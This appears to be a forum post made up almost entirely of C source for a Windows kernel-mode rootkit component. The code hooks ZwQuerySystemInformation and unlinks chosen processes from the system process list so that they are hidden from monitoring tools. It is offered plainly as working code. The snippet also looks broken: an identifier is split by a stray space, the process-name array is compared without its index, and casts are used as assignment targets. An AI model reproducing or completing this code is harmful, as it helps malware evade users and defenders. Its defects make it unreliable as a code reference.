Ok,
#include <ntddk.h>
#include "process.h"
typedef unsigned char BYTE, *PBYTE;
WCHAR *ProcessToHide[128];
ULONG NbProcessToHide=0;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformationAddress = NULL;
LONGLONG UserTime=0, KernelTime=0;
NTSTATUS ZwQuerySystemInformationHook(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS status;
PSYSTEM_PROCESS_INFORMATION curr;
PSYSTEM_PROCESS_INFORMATION prev;
ULONG i;
status = ((ZWQUERYSYSTEMINFORMATION)(ZwQuerySystemInformati onAddress)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
if( !NT_SUCCESS(status) )
return status;
if(SystemInformationClass!=5) // not a process request
return status;
for(i=0; i<NbProcessToHide; i++) {
curr = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
prev = NULL;
while(curr) {
//DbgPrint("Current item is %x\n", curr);
if (curr->ProcessName.Buffer != NULL) {
if( curr->ProcessName.Length == wcslen(ProcessToHide)*2 &&
!memcmp(curr->ProcessName.Buffer,ProcessToHide, curr->ProcessName.Length))
{
if(!prev) {
// we are first process
if(curr->NextEntryDelta) // if there is a process after it
// first process becomes this one
(PBYTE)SystemInformation += curr->NextEntryDelta;
else
// no process ! >_>
SystemInformation = NULL;
}
else {
// there was a process before
if(curr->NextEntryDelta) // if there is a process after
// previous process leads to next
prev->NextEntryDelta += curr->NextEntryDelta;
else
// previous process is the last one =)
prev->NextEntryDelta = 0;
}
}
else
// not a process to hide, prev ptr go to this process
prev = curr;
}
// curr go to next process
if(curr->NextEntryDelta)
((PBYTE)curr += curr->NextEntryDelta);
else
curr = NULL;
}
}
return status;
}
